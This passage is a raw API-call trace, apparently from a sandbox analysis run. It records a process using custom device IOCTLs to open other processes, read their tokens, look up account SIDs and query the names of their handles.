ApcState=0xfffff88004f095d0) [0106.013] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.013] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.013] PsReleaseProcessExitSynchronization () returned 0x2 [0106.013] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0106.013] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.013] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.013] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.013] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.013] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa20) returned 0xc0 [0106.013] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.013] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002104b30, HandleInformation=0x0) returned 0x0 [0106.013] ObOpenObjectByPointer (in: Object=0xfffffa8002104b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.014] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x12 [0106.014] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.014] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.014] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.014] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.014] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.015] CloseHandle (hObject=0xc8) returned 1 [0106.015] CloseHandle (hObject=0xc0) returned 1 [0106.015] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.015] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.015] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.015] PsAcquireProcessExitSynchronization () returned 0x0 [0106.015] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff88004f095d0) [0106.015] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021027f0, HandleInformation=0x0) returned 0x0 [0106.015] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.015] PsReleaseProcessExitSynchronization () returned 0x2 [0106.016] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0106.016] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.016] ObfDereferenceObject (Object=0xfffffa80021027f0) returned 0x1 [0106.016] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.016] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.016] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0106.016] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.016] PsAcquireProcessExitSynchronization () returned 0x0 [0106.016] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff88004f095d0) [0106.016] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002106800, HandleInformation=0x0) returned 0x0 [0106.016] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.016] PsReleaseProcessExitSynchronization () returned 0x2 [0106.016] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0106.016] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.016] ObfDereferenceObject (Object=0xfffffa8002106800) returned 0x1 [0106.016] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.016] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.016] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.016] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.016] PsAcquireProcessExitSynchronization () returned 0x0 [0106.016] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff88004f095d0) [0106.016] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.016] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.016] PsReleaseProcessExitSynchronization () returned 0x2 [0106.016] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0106.016] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.016] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.016] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.016] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.016] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa30) returned 0xc0 [0106.017] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.017] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800210f740, HandleInformation=0x0) returned 0x0 [0106.017] ObOpenObjectByPointer (in: Object=0xfffffa800210f740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.017] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x12 [0106.017] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.017] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.017] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.017] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.017] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.018] CloseHandle (hObject=0xc8) returned 1 [0106.018] CloseHandle (hObject=0xc0) returned 1 [0106.018] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.018] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.018] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.018] PsAcquireProcessExitSynchronization () returned 0x0 [0106.018] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff88004f095d0) [0106.019] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800210f070, HandleInformation=0x0) returned 0x0 [0106.019] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.019] PsReleaseProcessExitSynchronization () returned 0x2 [0106.019] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0106.019] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.019] ObfDereferenceObject (Object=0xfffffa800210f070) returned 0x1 [0106.019] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.019] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.019] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0106.019] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.019] PsAcquireProcessExitSynchronization () returned 0x0 [0106.019] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff88004f095d0) [0106.019] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002111180, HandleInformation=0x0) returned 0x0 [0106.019] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.019] PsReleaseProcessExitSynchronization () returned 0x2 [0106.019] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0106.019] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.019] ObfDereferenceObject (Object=0xfffffa8002111180) returned 0x1 [0106.019] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.019] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.019] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.019] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.019] PsAcquireProcessExitSynchronization () returned 0x0 [0106.019] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff88004f095d0) [0106.019] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.019] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.020] PsReleaseProcessExitSynchronization () returned 0x2 [0106.020] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0106.020] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.020] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.020] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.020] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.020] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa40) returned 0xc0 [0106.020] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.020] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800211db30, HandleInformation=0x0) returned 0x0 [0106.020] ObOpenObjectByPointer (in: Object=0xfffffa800211db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.020] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x12 [0106.020] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.020] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.020] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.020] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.020] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.021] CloseHandle (hObject=0xc8) returned 1 [0106.021] CloseHandle (hObject=0xc0) returned 1 [0106.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.022] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.022] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.022] PsAcquireProcessExitSynchronization () returned 0x0 [0106.022] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff88004f095d0) [0106.022] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800211b720, HandleInformation=0x0) returned 0x0 [0106.022] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.022] PsReleaseProcessExitSynchronization () returned 0x2 [0106.022] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0106.022] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.022] ObfDereferenceObject (Object=0xfffffa800211b720) returned 0x1 [0106.022] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.022] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.022] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0106.022] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.022] PsAcquireProcessExitSynchronization () returned 0x0 [0106.022] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff88004f095d0) [0106.022] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800211d120, HandleInformation=0x0) returned 0x0 [0106.022] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.022] PsReleaseProcessExitSynchronization () returned 0x2 [0106.022] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0106.022] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.022] ObfDereferenceObject (Object=0xfffffa800211d120) returned 0x1 [0106.022] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.022] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.022] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.022] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.023] PsAcquireProcessExitSynchronization () returned 0x0 [0106.023] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff88004f095d0) [0106.023] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.023] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.023] PsReleaseProcessExitSynchronization () returned 0x2 [0106.023] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0106.023] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.023] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.023] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.023] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.023] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa50) returned 0xc0 [0106.023] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.023] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002128740, HandleInformation=0x0) returned 0x0 [0106.023] ObOpenObjectByPointer (in: Object=0xfffffa8002128740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.023] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x12 [0106.023] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.023] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.023] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.023] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.023] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.024] CloseHandle (hObject=0xc8) returned 1 [0106.025] CloseHandle (hObject=0xc0) returned 1 [0106.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.025] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.025] PsAcquireProcessExitSynchronization () returned 0x0 [0106.025] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff88004f095d0) [0106.025] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002128070, HandleInformation=0x0) returned 0x0 [0106.025] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.025] PsReleaseProcessExitSynchronization () returned 0x2 